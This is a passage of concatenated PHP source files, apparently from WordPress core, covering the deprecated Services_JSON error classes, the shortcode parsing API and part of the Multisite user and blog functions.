            $length = $this->strlen8( $string ) - $start;
        }
        if ( $this->_mb_substr ) {
            return mb_substr( $string, $start, $length, "8bit" );
        }
        return substr( $string, $start, $length );
    }

}

if (class_exists('PEAR_Error')) {

    class Services_JSON_Error extends PEAR_Error
    {
        /**
         * PHP5 constructor.
         *
         * @deprecated 5.3.0 Use the PHP native JSON extension instead.
         */
        function __construct($message = 'unknown error', $code = null,
                                     $mode = null, $options = null, $userinfo = null)
        {
            _deprecated_function( __METHOD__, '5.3.0', 'The PHP native JSON extension' );

            parent::PEAR_Error($message, $code, $mode, $options, $userinfo);
        }

        /**
         * PHP4 constructor.
         *
         * @deprecated 5.3.0 Use __construct() instead.
         *
         * @see Services_JSON_Error::__construct()
         */
        public function Services_JSON_Error($message = 'unknown error', $code = null,
                                     $mode = null, $options = null, $userinfo = null) {
            _deprecated_constructor( 'Services_JSON_Error', '5.3.0', get_class( $this ) );
            self::__construct($message, $code, $mode, $options, $userinfo);
        }
    }

} else {

    /**
     * @todo Ultimately, this class shall be descended from PEAR_Error
     */
    class Services_JSON_Error
    {
        /**
         * PHP5 constructor.
         *
         * @deprecated 5.3.0 Use the PHP native JSON extension instead.
         */
        function __construct( $message = 'unknown error', $code = null,
                                     $mode = null, $options = null, $userinfo = null )
        {
            _deprecated_function( __METHOD__, '5.3.0', 'The PHP native JSON extension' );
        }

        /**
         * PHP4 constructor.
         *
         * @deprecated 5.3.0 Use __construct() instead.
         *
         * @see Services_JSON_Error::__construct()
         */
        public function Services_JSON_Error( $message = 'unknown error', $code = null,
                                         $mode = null, $options = null, $userinfo = null ) {
            _deprecated_constructor( 'Services_JSON_Error', '5.3.0', get_class( $this ) );
            self::__construct( $message, $code, $mode, $options, $userinfo );
        }
    }

}

endif;
<?php
/**
 * WordPress API for creating bbcode-like tags or what WordPress calls
 * "shortcodes". The tag and attribute parsing or regular expression code is
 * based on the Textpattern tag parser.
 *
 * A few examples are below:
 *
 * [shortcode /]
 * [shortcode foo="bar" baz="bing" /]
 * [shortcode foo="bar"]content[/shortcode]
 *
 * Shortcode tags support attributes and enclosed content, but does not entirely
 * support inline shortcodes in other shortcodes. You will have to call the
 * shortcode parser in your function to account for that.
 *
 * {@internal
 * Please be aware that the above note was made during the beta of WordPress 2.6
 * and in the future may not be accurate. Please update the note when it is no
 * longer the case.}}
 *
 * To apply shortcode tags to content:
 *
 *     $out = do_shortcode( $content );
 *
 * @link https://developer.wordpress.org/plugins/shortcodes/
 *
 * @package WordPress
 * @subpackage Shortcodes
 * @since 2.5.0
 */

/**
 * Container for storing shortcode tags and their hook to call for the shortcode.
 *
 * @since 2.5.0
 *
 * @name $shortcode_tags
 * @var array
 * @global array $shortcode_tags
 */
$shortcode_tags = array();

/**
 * Adds a new shortcode.
 *
 * Care should be taken through prefixing or other means to ensure that the
 * shortcode tag being added is unique and will not conflict with other,
 * already-added shortcode tags. In the event of a duplicated tag, the tag
 * loaded last will take precedence.
 *
 * @since 2.5.0
 *
 * @global array $shortcode_tags
 *
 * @param string   $tag      Shortcode tag to be searched in post content.
 * @param callable $callback The callback function to run when the shortcode is found.
 *                           Every shortcode callback is passed three parameters by default,
 *                           including an array of attributes (`$atts`), the shortcode content
 *                           or null if not set (`$content`), and finally the shortcode tag
 *                           itself (`$shortcode_tag`), in that order.
 */
function add_shortcode( $tag, $callback ) {
	global $shortcode_tags;

	if ( '' === trim( $tag ) ) {
		_doing_it_wrong(
			__FUNCTION__,
			__( 'Invalid shortcode name: Empty name given.' ),
			'4.4.0'
		);
		return;
	}

	if ( 0 !== preg_match( '@[<>&/\[\]\x00-\x20=]@', $tag ) ) {
		_doing_it_wrong(
			__FUNCTION__,
			sprintf(
				/* translators: 1: Shortcode name, 2: Space-separated list of reserved characters. */
				__( 'Invalid shortcode name: %1$s. Do not use spaces or reserved characters: %2$s' ),
				$tag,
				'& / < > [ ] ='
			),
			'4.4.0'
		);
		return;
	}

	$shortcode_tags[ $tag ] = $callback;
}

/**
 * Removes hook for shortcode.
 *
 * @since 2.5.0
 *
 * @global array $shortcode_tags
 *
 * @param string $tag Shortcode tag to remove hook for.
 */
function remove_shortcode( $tag ) {
	global $shortcode_tags;

	unset( $shortcode_tags[ $tag ] );
}

/**
 * Clears all shortcodes.
 *
 * This function clears all of the shortcode tags by replacing the shortcodes global with
 * an empty array. This is actually an efficient method for removing all shortcodes.
 *
 * @since 2.5.0
 *
 * @global array $shortcode_tags
 */
function remove_all_shortcodes() {
	global $shortcode_tags;

	$shortcode_tags = array();
}

/**
 * Determines whether a registered shortcode exists named $tag.
 *
 * @since 3.6.0
 *
 * @global array $shortcode_tags List of shortcode tags and their callback hooks.
 *
 * @param string $tag Shortcode tag to check.
 * @return bool Whether the given shortcode exists.
 */
function shortcode_exists( $tag ) {
	global $shortcode_tags;
	return array_key_exists( $tag, $shortcode_tags );
}

/**
 * Determines whether the passed content contains the specified shortcode.
 *
 * @since 3.6.0
 *
 * @global array $shortcode_tags
 *
 * @param string $content Content to search for shortcodes.
 * @param string $tag     Shortcode tag to check.
 * @return bool Whether the passed content contains the given shortcode.
 */
function has_shortcode( $content, $tag ) {
	if ( ! str_contains( $content, '[' ) ) {
		return false;
	}

	if ( shortcode_exists( $tag ) ) {
		preg_match_all( '/' . get_shortcode_regex() . '/', $content, $matches, PREG_SET_ORDER );
		if ( empty( $matches ) ) {
			return false;
		}

		foreach ( $matches as $shortcode ) {
			if ( $tag === $shortcode[2] ) {
				return true;
			} elseif ( ! empty( $shortcode[5] ) && has_shortcode( $shortcode[5], $tag ) ) {
				return true;
			}
		}
	}
	return false;
}

/**
 * Returns a list of registered shortcode names found in the given content.
 *
 * Example usage:
 *
 *     get_shortcode_tags_in_content( '[audio src="file.mp3"][/audio] [foo] [gallery ids="1,2,3"]' );
 *     // array( 'audio', 'gallery' )
 *
 * @since 6.3.2
 *
 * @param string $content The content to check.
 * @return string[] An array of registered shortcode names found in the content.
 */
function get_shortcode_tags_in_content( $content ) {
	if ( false === strpos( $content, '[' ) ) {
		return array();
	}

	preg_match_all( '/' . get_shortcode_regex() . '/', $content, $matches, PREG_SET_ORDER );
	if ( empty( $matches ) ) {
		return array();
	}

	$tags = array();
	foreach ( $matches as $shortcode ) {
		$tags[] = $shortcode[2];

		if ( ! empty( $shortcode[5] ) ) {
			$deep_tags = get_shortcode_tags_in_content( $shortcode[5] );
			if ( ! empty( $deep_tags ) ) {
				$tags = array_merge( $tags, $deep_tags );
			}
		}
	}

	return $tags;
}

/**
 * Searches content for shortcodes and filter shortcodes through their hooks.
 *
 * This function is an alias for do_shortcode().
 *
 * @since 5.4.0
 *
 * @see do_shortcode()
 *
 * @param string $content     Content to search for shortcodes.
 * @param bool   $ignore_html When true, shortcodes inside HTML elements will be skipped.
 *                            Default false.
 * @return string Content with shortcodes filtered out.
 */
function apply_shortcodes( $content, $ignore_html = false ) {
	return do_shortcode( $content, $ignore_html );
}

/**
 * Searches content for shortcodes and filter shortcodes through their hooks.
 *
 * If there are no shortcode tags defined, then the content will be returned
 * without any filtering. This might cause issues when plugins are disabled but
 * the shortcode will still show up in the post or content.
 *
 * @since 2.5.0
 *
 * @global array $shortcode_tags List of shortcode tags and their callback hooks.
 *
 * @param string $content     Content to search for shortcodes.
 * @param bool   $ignore_html When true, shortcodes inside HTML elements will be skipped.
 *                            Default false.
 * @return string Content with shortcodes filtered out.
 */
function do_shortcode( $content, $ignore_html = false ) {
	global $shortcode_tags;

	if ( ! str_contains( $content, '[' ) ) {
		return $content;
	}

	if ( empty( $shortcode_tags ) || ! is_array( $shortcode_tags ) ) {
		return $content;
	}

	// Find all registered tag names in $content.
	preg_match_all( '@\[([^<>&/\[\]\x00-\x20=]++)@', $content, $matches );
	$tagnames = array_intersect( array_keys( $shortcode_tags ), $matches[1] );

	if ( empty( $tagnames ) ) {
		return $content;
	}

	// Ensure this context is only added once if shortcodes are nested.
	$has_filter   = has_filter( 'wp_get_attachment_image_context', '_filter_do_shortcode_context' );
	$filter_added = false;

	if ( ! $has_filter ) {
		$filter_added = add_filter( 'wp_get_attachment_image_context', '_filter_do_shortcode_context' );
	}

	$content = do_shortcodes_in_html_tags( $content, $ignore_html, $tagnames );

	$pattern = get_shortcode_regex( $tagnames );
	$content = preg_replace_callback( "/$pattern/", 'do_shortcode_tag', $content );

	// Always restore square braces so we don't break things like <!--[if IE ]>.
	$content = unescape_invalid_shortcodes( $content );

	// Only remove the filter if it was added in this scope.
	if ( $filter_added ) {
		remove_filter( 'wp_get_attachment_image_context', '_filter_do_shortcode_context' );
	}

	return $content;
}

/**
 * Filter the `wp_get_attachment_image_context` hook during shortcode rendering.
 *
 * When wp_get_attachment_image() is called during shortcode rendering, we need to make clear
 * that the context is a shortcode and not part of the theme's template rendering logic.
 *
 * @since 6.3.0
 * @access private
 *
 * @return string The filtered context value for wp_get_attachment_images when doing shortcodes.
 */
function _filter_do_shortcode_context() {
	return 'do_shortcode';
}

/**
 * Retrieves the shortcode regular expression for searching.
 *
 * The regular expression combines the shortcode tags in the regular expression
 * in a regex class.
 *
 * The regular expression contains 6 different sub matches to help with parsing.
 *
 * 1 - An extra [ to allow for escaping shortcodes with double [[]]
 * 2 - The shortcode name
 * 3 - The shortcode argument list
 * 4 - The self closing /
 * 5 - The content of a shortcode when it wraps some content.
 * 6 - An extra ] to allow for escaping shortcodes with double [[]]
 *
 * @since 2.5.0
 * @since 4.4.0 Added the `$tagnames` parameter.
 *
 * @global array $shortcode_tags
 *
 * @param array $tagnames Optional. List of shortcodes to find. Defaults to all registered shortcodes.
 * @return string The shortcode search regular expression
 */
function get_shortcode_regex( $tagnames = null ) {
	global $shortcode_tags;

	if ( empty( $tagnames ) ) {
		$tagnames = array_keys( $shortcode_tags );
	}
	$tagregexp = implode( '|', array_map( 'preg_quote', $tagnames ) );

	/*
	 * WARNING! Do not change this regex without changing do_shortcode_tag() and strip_shortcode_tag().
	 * Also, see shortcode_unautop() and shortcode.js.
	 */

	// phpcs:disable Squiz.Strings.ConcatenationSpacing.PaddingFound -- don't remove regex indentation
	return '\\['                             // Opening bracket.
		. '(\\[?)'                           // 1: Optional second opening bracket for escaping shortcodes: [[tag]].
		. "($tagregexp)"                     // 2: Shortcode name.
		. '(?![\\w-])'                       // Not followed by word character or hyphen.
		. '('                                // 3: Unroll the loop: Inside the opening shortcode tag.
		.     '[^\\]\\/]*'                   // Not a closing bracket or forward slash.
		.     '(?:'
		.         '\\/(?!\\])'               // A forward slash not followed by a closing bracket.
		.         '[^\\]\\/]*'               // Not a closing bracket or forward slash.
		.     ')*?'
		. ')'
		. '(?:'
		.     '(\\/)'                        // 4: Self closing tag...
		.     '\\]'                          // ...and closing bracket.
		. '|'
		.     '\\]'                          // Closing bracket.
		.     '(?:'
		.         '('                        // 5: Unroll the loop: Optionally, anything between the opening and closing shortcode tags.
		.             '[^\\[]*+'             // Not an opening bracket.
		.             '(?:'
		.                 '\\[(?!\\/\\2\\])' // An opening bracket not followed by the closing shortcode tag.
		.                 '[^\\[]*+'         // Not an opening bracket.
		.             ')*+'
		.         ')'
		.         '\\[\\/\\2\\]'             // Closing shortcode tag.
		.     ')?'
		. ')'
		. '(\\]?)';                          // 6: Optional second closing bracket for escaping shortcodes: [[tag]].
	// phpcs:enable
}

/**
 * Regular Expression callable for do_shortcode() for calling shortcode hook.
 *
 * @see get_shortcode_regex() for details of the match array contents.
 *
 * @since 2.5.0
 * @access private
 *
 * @global array $shortcode_tags
 *
 * @param array $m {
 *     Regular expression match array.
 *
 *     @type string $0 Entire matched shortcode text.
 *     @type string $1 Optional second opening bracket for escaping shortcodes.
 *     @type string $2 Shortcode name.
 *     @type string $3 Shortcode arguments list.
 *     @type string $4 Optional self closing slash.
 *     @type string $5 Content of a shortcode when it wraps some content.
 *     @type string $6 Optional second closing bracket for escaping shortcodes.
 * }
 * @return string Shortcode output.
 */
function do_shortcode_tag( $m ) {
	global $shortcode_tags;

	// Allow [[foo]] syntax for escaping a tag.
	if ( '[' === $m[1] && ']' === $m[6] ) {
		return substr( $m[0], 1, -1 );
	}

	$tag  = $m[2];
	$attr = shortcode_parse_atts( $m[3] );

	if ( ! is_callable( $shortcode_tags[ $tag ] ) ) {
		_doing_it_wrong(
			__FUNCTION__,
			/* translators: %s: Shortcode tag. */
			sprintf( __( 'Attempting to parse a shortcode without a valid callback: %s' ), $tag ),
			'4.3.0'
		);
		return $m[0];
	}

	/**
	 * Filters whether to call a shortcode callback.
	 *
	 * Returning a non-false value from filter will short-circuit the
	 * shortcode generation process, returning that value instead.
	 *
	 * @since 4.7.0
	 *
	 * @param false|string $output Short-circuit return value. Either false or the value to replace the shortcode with.
	 * @param string       $tag    Shortcode name.
	 * @param array|string $attr   Shortcode attributes array or the original arguments string if it cannot be parsed.
	 * @param array        $m      Regular expression match array.
	 */
	$return = apply_filters( 'pre_do_shortcode_tag', false, $tag, $attr, $m );
	if ( false !== $return ) {
		return $return;
	}

	$content = isset( $m[5] ) ? $m[5] : null;

	$output = $m[1] . call_user_func( $shortcode_tags[ $tag ], $attr, $content, $tag ) . $m[6];

	/**
	 * Filters the output created by a shortcode callback.
	 *
	 * @since 4.7.0
	 *
	 * @param string       $output Shortcode output.
	 * @param string       $tag    Shortcode name.
	 * @param array|string $attr   Shortcode attributes array or the original arguments string if it cannot be parsed.
	 * @param array        $m      Regular expression match array.
	 */
	return apply_filters( 'do_shortcode_tag', $output, $tag, $attr, $m );
}

/**
 * Searches only inside HTML elements for shortcodes and process them.
 *
 * Any [ or ] characters remaining inside elements will be HTML encoded
 * to prevent interference with shortcodes that are outside the elements.
 * Assumes $content processed by KSES already.  Users with unfiltered_html
 * capability may get unexpected output if angle braces are nested in tags.
 *
 * @since 4.2.3
 *
 * @param string $content     Content to search for shortcodes.
 * @param bool   $ignore_html When true, all square braces inside elements will be encoded.
 * @param array  $tagnames    List of shortcodes to find.
 * @return string Content with shortcodes filtered out.
 */
function do_shortcodes_in_html_tags( $content, $ignore_html, $tagnames ) {
	// Normalize entities in unfiltered HTML before adding placeholders.
	$trans   = array(
		'&#91;' => '&#091;',
		'&#93;' => '&#093;',
	);
	$content = strtr( $content, $trans );
	$trans   = array(
		'[' => '&#91;',
		']' => '&#93;',
	);

	$pattern = get_shortcode_regex( $tagnames );
	$textarr = wp_html_split( $content );

	foreach ( $textarr as &$element ) {
		if ( '' === $element || '<' !== $element[0] ) {
			continue;
		}

		$noopen  = ! str_contains( $element, '[' );
		$noclose = ! str_contains( $element, ']' );
		if ( $noopen || $noclose ) {
			// This element does not contain shortcodes.
			if ( $noopen xor $noclose ) {
				// Need to encode stray '[' or ']' chars.
				$element = strtr( $element, $trans );
			}
			continue;
		}

		if ( $ignore_html || str_starts_with( $element, '<!--' ) || str_starts_with( $element, '<![CDATA[' ) ) {
			// Encode all '[' and ']' chars.
			$element = strtr( $element, $trans );
			continue;
		}

		$attributes = wp_kses_attr_parse( $element );
		if ( false === $attributes ) {
			// Some plugins are doing things like [name] <[email]>.
			if ( 1 === preg_match( '%^<\s*\[\[?[^\[\]]+\]%', $element ) ) {
				$element = preg_replace_callback( "/$pattern/", 'do_shortcode_tag', $element );
			}

			// Looks like we found some unexpected unfiltered HTML. Skipping it for confidence.
			$element = strtr( $element, $trans );
			continue;
		}

		// Get element name.
		$front   = array_shift( $attributes );
		$back    = array_pop( $attributes );
		$matches = array();
		preg_match( '%[a-zA-Z0-9]+%', $front, $matches );
		$elname = $matches[0];

		// Look for shortcodes in each attribute separately.
		foreach ( $attributes as &$attr ) {
			$open  = strpos( $attr, '[' );
			$close = strpos( $attr, ']' );
			if ( false === $open || false === $close ) {
				continue; // Go to next attribute. Square braces will be escaped at end of loop.
			}
			$double = strpos( $attr, '"' );
			$single = strpos( $attr, "'" );
			if ( ( false === $single || $open < $single ) && ( false === $double || $open < $double ) ) {
				/*
				 * $attr like '[shortcode]' or 'name = [shortcode]' implies unfiltered_html.
				 * In this specific situation we assume KSES did not run because the input
				 * was written by an administrator, so we should avoid changing the output
				 * and we do not need to run KSES here.
				 */
				$attr = preg_replace_callback( "/$pattern/", 'do_shortcode_tag', $attr );
			} else {
				/*
				 * $attr like 'name = "[shortcode]"' or "name = '[shortcode]'".
				 * We do not know if $content was unfiltered. Assume KSES ran before shortcodes.
				 */
				$count    = 0;
				$new_attr = preg_replace_callback( "/$pattern/", 'do_shortcode_tag', $attr, -1, $count );
				if ( $count > 0 ) {
					// Sanitize the shortcode output using KSES.
					$new_attr = wp_kses_one_attr( $new_attr, $elname );
					if ( '' !== trim( $new_attr ) ) {
						// The shortcode is safe to use now.
						$attr = $new_attr;
					}
				}
			}
		}
		$element = $front . implode( '', $attributes ) . $back;

		// Now encode any remaining '[' or ']' chars.
		$element = strtr( $element, $trans );
	}

	$content = implode( '', $textarr );

	return $content;
}

/**
 * Removes placeholders added by do_shortcodes_in_html_tags().
 *
 * @since 4.2.3
 *
 * @param string $content Content to search for placeholders.
 * @return string Content with placeholders removed.
 */
function unescape_invalid_shortcodes( $content ) {
	// Clean up entire string, avoids re-parsing HTML.
	$trans = array(
		'&#91;' => '[',
		'&#93;' => ']',
	);

	$content = strtr( $content, $trans );

	return $content;
}

/**
 * Retrieves the shortcode attributes regex.
 *
 * @since 4.4.0
 *
 * @return string The shortcode attribute regular expression.
 */
function get_shortcode_atts_regex() {
	return '/([\w-]+)\s*=\s*"([^"]*)"(?:\s|$)|([\w-]+)\s*=\s*\'([^\']*)\'(?:\s|$)|([\w-]+)\s*=\s*([^\s\'"]+)(?:\s|$)|"([^"]*)"(?:\s|$)|\'([^\']*)\'(?:\s|$)|(\S+)(?:\s|$)/';
}

/**
 * Retrieves all attributes from the shortcodes tag.
 *
 * The attributes list has the attribute name as the key and the value of the
 * attribute as the value in the key/value pair. This allows for easier
 * retrieval of the attributes, since all attributes have to be known.
 *
 * @since 2.5.0
 * @since 6.5.0 The function now always returns an empty array,
 *              even if the original arguments string cannot be parsed or is empty.
 *
 * @param string $text Shortcode arguments list.
 * @return array Array of attribute values keyed by attribute name.
 *               Returns empty array if there are no attributes
 *               or if the original arguments string cannot be parsed.
 */
function shortcode_parse_atts( $text ) {
	$atts    = array();
	$pattern = get_shortcode_atts_regex();
	$text    = preg_replace( "/[\x{00a0}\x{200b}]+/u", ' ', $text );
	if ( preg_match_all( $pattern, $text, $match, PREG_SET_ORDER ) ) {
		foreach ( $match as $m ) {
			if ( ! empty( $m[1] ) ) {
				$atts[ strtolower( $m[1] ) ] = stripcslashes( $m[2] );
			} elseif ( ! empty( $m[3] ) ) {
				$atts[ strtolower( $m[3] ) ] = stripcslashes( $m[4] );
			} elseif ( ! empty( $m[5] ) ) {
				$atts[ strtolower( $m[5] ) ] = stripcslashes( $m[6] );
			} elseif ( isset( $m[7] ) && strlen( $m[7] ) ) {
				$atts[] = stripcslashes( $m[7] );
			} elseif ( isset( $m[8] ) && strlen( $m[8] ) ) {
				$atts[] = stripcslashes( $m[8] );
			} elseif ( isset( $m[9] ) ) {
				$atts[] = stripcslashes( $m[9] );
			}
		}

		// Reject any unclosed HTML elements.
		foreach ( $atts as &$value ) {
			if ( str_contains( $value, '<' ) ) {
				if ( 1 !== preg_match( '/^[^<]*+(?:<[^>]*+>[^<]*+)*+$/', $value ) ) {
					$value = '';
				}
			}
		}
	}

	return $atts;
}

/**
 * Combines user attributes with known attributes and fill in defaults when needed.
 *
 * The pairs should be considered to be all of the attributes which are
 * supported by the caller and given as a list. The returned attributes will
 * only contain the attributes in the $pairs list.
 *
 * If the $atts list has unsupported attributes, then they will be ignored and
 * removed from the final returned list.
 *
 * @since 2.5.0
 *
 * @param array  $pairs     Entire list of supported attributes and their defaults.
 * @param array  $atts      User defined attributes in shortcode tag.
 * @param string $shortcode Optional. The name of the shortcode, provided for context to enable filtering
 * @return array Combined and filtered attribute list.
 */
function shortcode_atts( $pairs, $atts, $shortcode = '' ) {
	$atts = (array) $atts;
	$out  = array();
	foreach ( $pairs as $name => $default ) {
		if ( array_key_exists( $name, $atts ) ) {
			$out[ $name ] = $atts[ $name ];
		} else {
			$out[ $name ] = $default;
		}
	}

	if ( $shortcode ) {
		/**
		 * Filters shortcode attributes.
		 *
		 * If the third parameter of the shortcode_atts() function is present then this filter is available.
		 * The third parameter, $shortcode, is the name of the shortcode.
		 *
		 * @since 3.6.0
		 * @since 4.4.0 Added the `$shortcode` parameter.
		 *
		 * @param array  $out       The output array of shortcode attributes.
		 * @param array  $pairs     The supported attributes and their defaults.
		 * @param array  $atts      The user defined shortcode attributes.
		 * @param string $shortcode The shortcode name.
		 */
		$out = apply_filters( "shortcode_atts_{$shortcode}", $out, $pairs, $atts, $shortcode );
	}

	return $out;
}

/**
 * Removes all shortcode tags from the given content.
 *
 * @since 2.5.0
 *
 * @global array $shortcode_tags
 *
 * @param string $content Content to remove shortcode tags.
 * @return string Content without shortcode tags.
 */
function strip_shortcodes( $content ) {
	global $shortcode_tags;

	if ( ! str_contains( $content, '[' ) ) {
		return $content;
	}

	if ( empty( $shortcode_tags ) || ! is_array( $shortcode_tags ) ) {
		return $content;
	}

	// Find all registered tag names in $content.
	preg_match_all( '@\[([^<>&/\[\]\x00-\x20=]++)@', $content, $matches );

	$tags_to_remove = array_keys( $shortcode_tags );

	/**
	 * Filters the list of shortcode tags to remove from the content.
	 *
	 * @since 4.7.0
	 *
	 * @param array  $tags_to_remove Array of shortcode tags to remove.
	 * @param string $content        Content shortcodes are being removed from.
	 */
	$tags_to_remove = apply_filters( 'strip_shortcodes_tagnames', $tags_to_remove, $content );

	$tagnames = array_intersect( $tags_to_remove, $matches[1] );

	if ( empty( $tagnames ) ) {
		return $content;
	}

	$content = do_shortcodes_in_html_tags( $content, true, $tagnames );

	$pattern = get_shortcode_regex( $tagnames );
	$content = preg_replace_callback( "/$pattern/", 'strip_shortcode_tag', $content );

	// Always restore square braces so we don't break things like <!--[if IE ]>.
	$content = unescape_invalid_shortcodes( $content );

	return $content;
}

/**
 * Strips a shortcode tag based on RegEx matches against post content.
 *
 * @since 3.3.0
 *
 * @param array $m RegEx matches against post content.
 * @return string|false The content stripped of the tag, otherwise false.
 */
function strip_shortcode_tag( $m ) {
	// Allow [[foo]] syntax for escaping a tag.
	if ( '[' === $m[1] && ']' === $m[6] ) {
		return substr( $m[0], 1, -1 );
	}

	return $m[1] . $m[6];
}
<?php
/**
 * Multisite WordPress API
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.0.0
 */

/**
 * Gets the network's site and user counts.
 *
 * @since MU (3.0.0)
 *
 * @return int[] {
 *     Site and user count for the network.
 *
 *     @type int $blogs Number of sites on the network.
 *     @type int $users Number of users on the network.
 * }
 */
function get_sitestats() {
	$stats = array(
		'blogs' => get_blog_count(),
		'users' => get_user_count(),
	);

	return $stats;
}

/**
 * Gets one of a user's active blogs.
 *
 * Returns the user's primary blog, if they have one and
 * it is active. If it's inactive, function returns another
 * active blog of the user. If none are found, the user
 * is added as a Subscriber to the Dashboard Blog and that blog
 * is returned.
 *
 * @since MU (3.0.0)
 *
 * @param int $user_id The unique ID of the user
 * @return WP_Site|void The blog object
 */
function get_active_blog_for_user( $user_id ) {
	$blogs = get_blogs_of_user( $user_id );
	if ( empty( $blogs ) ) {
		return;
	}

	if ( ! is_multisite() ) {
		return $blogs[ get_current_blog_id() ];
	}

	$primary_blog = get_user_meta( $user_id, 'primary_blog', true );
	$first_blog   = current( $blogs );
	if ( false !== $primary_blog ) {
		if ( ! isset( $blogs[ $primary_blog ] ) ) {
			update_user_meta( $user_id, 'primary_blog', $first_blog->userblog_id );
			$primary = get_site( $first_blog->userblog_id );
		} else {
			$primary = get_site( $primary_blog );
		}
	} else {
		// TODO: Review this call to add_user_to_blog too - to get here the user must have a role on this blog?
		$result = add_user_to_blog( $first_blog->userblog_id, $user_id, 'subscriber' );

		if ( ! is_wp_error( $result ) ) {
			update_user_meta( $user_id, 'primary_blog', $first_blog->userblog_id );
			$primary = $first_blog;
		}
	}

	if ( ( ! is_object( $primary ) ) || ( 1 == $primary->archived || 1 == $primary->spam || 1 == $primary->deleted ) ) {
		$blogs = get_blogs_of_user( $user_id, true ); // If a user's primary blog is shut down, check their other blogs.
		$ret   = false;
		if ( is_array( $blogs ) && count( $blogs ) > 0 ) {
			foreach ( (array) $blogs as $blog_id => $blog ) {
				if ( get_current_network_id() != $blog->site_id ) {
					continue;
				}
				$details = get_site( $blog_id );
				if ( is_object( $details ) && 0 == $details->archived && 0 == $details->spam && 0 == $details->deleted ) {
					$ret = $details;
					if ( get_user_meta( $user_id, 'primary_blog', true ) != $blog_id ) {
						update_user_meta( $user_id, 'primary_blog', $blog_id );
					}
					if ( ! get_user_meta( $user_id, 'source_domain', true ) ) {
						update_user_meta( $user_id, 'source_domain', $details->domain );
					}
					break;
				}
			}
		} else {
			return;
		}
		return $ret;
	} else {
		return $primary;
	}
}

/**
 * Gets the number of active sites on the installation.
 *
 * The count is cached and updated twice daily. This is not a live count.
 *
 * @since MU (3.0.0)
 * @since 3.7.0 The `$network_id` parameter has been deprecated.
 * @since 4.8.0 The `$network_id` parameter is now being used.
 *
 * @param int|null $network_id ID of the network. Default is the current network.
 * @return int Number of active sites on the network.
 */
function get_blog_count( $network_id = null ) {
	return get_network_option( $network_id, 'blog_count' );
}

/**
 * Gets a blog post from any site on the network.
 *
 * This function is similar to get_post(), except that it can retrieve a post
 * from any site on the network, not just the current site.
 *
 * @since MU (3.0.0)
 *
 * @param int $blog_id ID of the blog.
 * @param int $post_id ID of the post being looked for.
 * @return WP_Post|null WP_Post object on success, null on failure
 */
function get_blog_post( $blog_id, $post_id ) {
	switch_to_blog( $blog_id );
	$post = get_post( $post_id );
	restore_current_blog();

	return $post;
}

/**
 * Adds a user to a blog, along with specifying the user's role.
 *
 * Use the {@see 'add_user_to_blog'} action to fire an event when users are added to a blog.
 *
 * @since MU (3.0.0)
 *
 * @param int    $blog_id ID of the blog the user is being added to.
 * @param int    $user_id ID of the user being added.
 * @param string $role    User role.
 * @return true|WP_Error True on success or a WP_Error object if the user doesn't exist
 *                       or could not be added.
 */
function add_user_to_blog( $blog_id, $user_id, $role ) {
	switch_to_blog( $blog_id );

	$user = get_userdata( $user_id );

	if ( ! $user ) {
		restore_current_blog();
		return new WP_Error( 'user_does_not_exist', __( 'The requested user does not exist.' ) );
	}

	/**
	 * Filters whether a user should be added to a site.
	 *
	 * @since 4.9.0
	 *
	 * @param true|WP_Error $retval  True if the user should be added to the site, error
	 *                               object otherwise.
	 * @param int           $user_id User ID.
	 * @param string        $role    User role.
	 * @param int           $blog_id Site ID.
	 */
	$can_add_user = apply_filters( 'can_add_user_to_blog', true, $user_id, $role, $blog_id );

	if ( true !== $can_add_user ) {
		restore_current_blog();

		if ( is_wp_error( $can_add_user ) ) {
			return $can_add_user;
		}

		return new WP_Error( 'user_cannot_be_added', __( 'User cannot be added to this site.' ) );
	}

	if ( ! get_user_meta( $user_id, 'primary_blog', true ) ) {
		update_user_meta( $user_id, 'primary_blog', $blog_id );
		$site = get_site( $blog_id );
		update_user_meta( $user_id, 'source_domain', $site->domain );
	}

	$user->set_role( $role );

	/**
	 * Fires immediately after a user is added to a site.
	 *
	 * @since MU (3.0.0)
	 *
	 * @param int    $user_id User ID.
	 * @param string $role    User role.
	 * @param int    $blog_id Blog ID.
	 */
	do_action( 'add_user_to_blog', $user_id, $role, $blog_id );

	clean_user_cache( $user_id );
	wp_cache_delete( $blog_id . '_user_count', 'blog-details' );

	restore_current_blog();

	return true;
}

/**
 * Removes a user from a blog.
 *
 * Use the {@see 'remove_user_from_blog'} action to fire an event when
 * users are removed from a blog.
 *
 * Accepts an optional `$reassign` parameter, if you want to
 * reassign the user's blog posts to another user upon removal.
 *
 * @since MU (3.0.0)
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int $user_id  ID of the user being removed.
 * @param int $blog_id  Optional. ID of the blog the user is being removed from. Default 0.
 * @param int $reassign Optional. ID of the user to whom to reassign posts. Default 0.
 * @return true|WP_Error True on success or a WP_Error object if the user doesn't exist.
 */
function remove_user_from_blog( $user_id, $blog_id = 0, $reassign = 0 ) {
	global $wpdb;

	switch_to_blog( $blog_id );
	$user_id = (int) $user_id;

	/**
	 * Fires before a user is removed from a site.
	 *
	 * @since MU (3.0.0)
	 * @since 5.4.0 Added the `$reassign` parameter.
	 *
	 * @param int $user_id  ID of the user being removed.
	 * @param int $blog_id  ID of the blog the user is being removed from.
	 * @param int $reassign ID of the user to whom to reassign posts.
	 */
	do_action( 'remove_user_from_blog', $user_id, $blog_id, $reassign );

	/*
	 * If being removed from the primary blog, set a new primary
	 * if the user is assigned to multiple blogs.
	 */
	$primary_blog = get_user_meta( $user_id, 'primary_blog', true );
	if ( $primary_blog == $blog_id ) {
		$new_id     = '';
		$new_domain = '';
		$blogs      = get_blogs_of_user( $user_id );
		foreach ( (array) $blogs as $blog ) {
			if ( $blog->userblog_id == $blog_id ) {
				continue;
			}
			$new_id     = $blog->userblog_id;
			$new_domain = $blog->domain;
			break;
		}

		update_user_meta( $user_id, 'primary_blog', $new_id );
		update_user_meta( $user_id, 'source_domain', $new_domain );
	}

	$user = get_userdata( $user_id );
	if ( ! $user ) {
		restore_current_blog();
		return new WP_Error( 'user_does_not_exist', __( 'That user does not exist.' ) );
	}

	$user->remove_all_caps();

	$blogs = get_blogs_of_user( $user_id );
	if ( count( $blogs ) === 0 ) {
		update_user_meta( $user_id, 'primary_blog', '' );
		update_user_meta( $user_id, 'source_domain', '' );
	}

	if ( $reassign ) {
		$reassign = (int) $reassign;
		$post_ids = $wpdb->get_col( $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE post_author = %d", $user_id ) );
